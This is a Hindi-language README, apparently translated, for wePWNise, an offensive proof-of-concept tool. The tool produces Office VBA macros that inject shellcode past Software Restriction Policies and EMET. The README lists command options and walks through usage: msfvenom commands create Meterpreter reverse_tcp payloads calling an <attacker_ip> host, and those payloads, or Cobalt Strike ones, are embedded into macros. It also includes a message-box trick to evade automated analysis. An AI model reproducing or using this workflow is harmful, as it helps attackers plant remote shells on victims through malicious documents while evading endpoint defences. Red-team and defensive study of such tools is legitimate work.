
WePWNise आर्किटेक्चर-स्वतंत्र VBA कोड उत्पन्न करता है जिसका उपयोग Office दस्तावेज़ों या टेम्पलेट्स में किया जा सकता है और यह एप्लिकेशन नियंत्रण तथा एक्सप्लॉइट शमन सॉफ़्टवेयर को बायपास करने की प्रक्रिया को स्वचालित करता है।
wePWNise एक प्रूफ-ऑफ-कॉन्सेप्ट Python स्क्रिप्ट है जो VBA कोड उत्पन्न करती है जिसका उपयोग Office मैक्रोज़ या टेम्पलेट्स में किया जा सकता है। इसे ऑटोमेशन और इंटीग्रेशन को ध्यान में रखकर डिज़ाइन किया गया है, जो लॉक डाउन वातावरण परिदृश्यों को लक्षित करता है। यह उपकरण सॉफ़्टवेयर प्रतिबंध नीतियों (SRPs) और EMET mitigations की गणना करता है और पेलोड इंजेक्ट करने के लिए सुरक्षित बाइनरी को गतिशील रूप से पहचानता है। wePWNise मौजूदा एक्सप्लॉइटेशन फ्रेमवर्क (जैसे Metasploit, Cobalt Strike) के साथ एकीकृत होता है और यह किसी भी कस्टम पेलोड को रॉ फ़ॉर्मेट में स्वीकार करता है।
wePWNise का उपयोग शुरू करने के लिए, पहले इसके द्वारा समर्थित विकल्पों पर एक नज़र डालें:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise को 32 और 64 बिट दोनों रॉ पेलोड की आवश्यकता होती है ताकि किसी अज्ञात लक्ष्य पर पहुंचने पर उपयुक्त प्रकार वितरित कर सके। हालांकि, यदि केवल x86 आर्किटेक्चर को लक्षित किया गया है, तो लापता कोड को बदलने के लिए एक डमी 64 बिट पेलोड प्रदान किया जाना चाहिए।
कुछ स्वचालित विश्लेषण कॉन्फ़िगरेशन को हराने के लिए, कोड के निष्पादन पर एक मैसेज बॉक्स खुलता है। मैसेज बॉक्स के टेक्स्ट को --msg पैरामीटर में उसका मान परिभाषित करके बदला जा सकता है। इस कार्यक्षमता को अक्षम करने के लिए --msgbox पैरामीटर को False पर सेट करें।
लंबी SRPs/EMET नीतियों के परिणामस्वरूप उत्पन्न होने वाली प्रदर्शन स्थितियों के कारण, wePWNise दो कॉन्फ़िगरेशन फ़ाइलें (binary-paths.txt और directory-paths.txt) पढ़ता है जिनमें उन एक्ज़ीक्यूटेबल्स और निर्देशिकाओं की सूची होती है जिनकी निगरानी किए जाने की संभावना कम होती है, पहले जाँच की जाए। उन फ़ाइलों की सामग्री को संपादित करके उपयोगकर्ता अपनी पसंद परिभाषित कर सकता है। यदि फ़ाइलें खाली हैं, तो wePWNise सीधे SPRs/EMET नीतियों को पढ़ना शुरू कर देगा क्योंकि ये रजिस्ट्री में परिभाषित होंगी और अपनी इंजेक्शन पसंद पूरी तरह से प्राप्त जानकारी के आधार पर करेगा।
निम्नलिखित अनुभाग wePWNise के कुछ बुनियादी उपयोग उदाहरणों का वर्णन करते हैं।
पहले x86 और x64 दोनों आर्किटेक्चर के लिए रॉ फ़ॉर्मेट में पेलोड बनाएँ और सुनिश्चित करें कि Metasploit लिसनर उचित रूप से कॉन्फ़िगर किए गए हैं।
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
फिर wePWNise को उत्पन्न पेलोड की ओर इंगित करें और आउटपुट को msf_wepwn.txt पर निर्देशित करें
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Cobalt Strike में एक रॉ पेलोड उत्पन्न करने के लिए, निम्न मेनू पर नेविगेट करें और आउटपुट ड्रॉपडाउन से रॉ फ़ॉर्मेट चुनें। प्रक्रिया दोहराएं और 64-बिट पेलोड उत्पन्न करने के लिए x64 चेकबॉक्स सक्षम करें।
Attacks > Packages > Payload Generator
VBA कोड उत्पन्न करने के लिए उत्पन्न पेलोड को wePWNise में दर्ज करें।
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
कुछ मामलों में ऐसा हो सकता है कि केवल x86 पेलोड उपलब्ध हो। चूंकि wePWNise को 32-बिट और 64-बिट दोनों पेलोड की आवश्यकता होती है, 64-बिट इंजेक्शन को अक्षम करने के लिए एक डमी 64-बिट फ़ाइल बनाएं और --inject64 पैरामीटर को False पर सेट करें।
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
इसी तरह, केवल 64-बिट पेलोड उत्पन्न करने के लिए, एक डमी x86 फ़ाइल बनाएं और इसे wePWNise के -i86 कमांड लाइन पैरामीटर में प्रदान करें।
wePWNise को 3-क्लॉज़ BSD लाइसेंस के तहत जारी किया गया है और MWR InfoSecurity द्वारा अनुरक्षित है।
यह उपकरण मूल रूप से Vincent Yiu (@vysecurity) द्वारा विकसित किया गया था।